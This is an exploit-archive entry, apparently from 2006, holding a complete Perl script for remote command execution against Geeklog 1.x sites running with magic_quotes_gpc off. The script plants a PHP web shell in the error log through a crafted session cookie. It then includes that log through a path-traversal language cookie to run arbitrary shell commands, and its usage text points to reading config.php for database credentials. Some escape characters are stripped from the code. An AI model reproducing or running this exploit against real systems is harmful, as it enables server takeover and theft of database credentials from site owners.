[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : GeekLog 1.* (error.log) Remote Commands Execution Exploit (gpc = Off)
# Published : 2006-02-20
# Author : rgod
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#!/usr/bin/perl -w
use IO::Socket;
print "*************************************************************************rn";
print "| Geeklog 1.* remote commands execution |rn";
print "| By rgod rgod<AT>autistici<DOT>org |rn";
print "| site: http://retrogod.altervista.org |rn";
print "| |rn";
print "*************************************************************************rn";
print "| -> this works against magic_quotes_gpc = Off |rn";
print "*************************************************************************rn";
sub main::urlEncode {
my ($string) = @_;
$string =~ s/(W)/"%" . unpack("H2", $1)/ge;
#$string# =~ tr/.//;
return $string;
}
$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};
if (@ARGV < 3)
{
print "Usage:rn";
print "perl pblg_xpl.pl SERVER PATH COMMANDrnrn";
print "SERVER - Server where Geeklog is installed.rn";
print "PATH - Path to Geeklog (ex: /geeklog/ or just /) rn";
print "COMMAND - a shell command ("cat ./../config.php" to see databasern";
print " username & password")rn";
print "Example:rn";
print "perl geeklog_14_xpl.pl localhost /geeklog/ ls -la rn";
exit();
}
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.nn";
$shell='<?php ob_clean();echo"Hi Master!rn";ini_set("max_execution_time",0);passthru($_GET[CMD]);die;?>';
$shell=urlEncode($shell);
$data="loginname=sun&passwd=sun";
print $sock "POST ".$path."users.php HTTP/1.1rn";
print $sock "Host: ".$serv."rn";
print $sock "Content-Length: ".length($data)."rn";
print $sock "Cookie: gl_session=%27".$shell."rn";
print $sock "Connection: Closernrn";
print $sock $data;
close($sock);
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.nn";
$xpl="../logs/error.log";
$xpl=urlEncode($xpl)."%00";
print $sock "GET ".$path."index.php?CMD=".$cmd." HTTP/1.1rn";
print $sock "Host: ".$serv."rn";
print $sock "Cookie: language=".$xpl.";rn";
print $sock "Connection: Closernrn";
while ($answer = <$sock>) {
print $answer;
}
close($sock);
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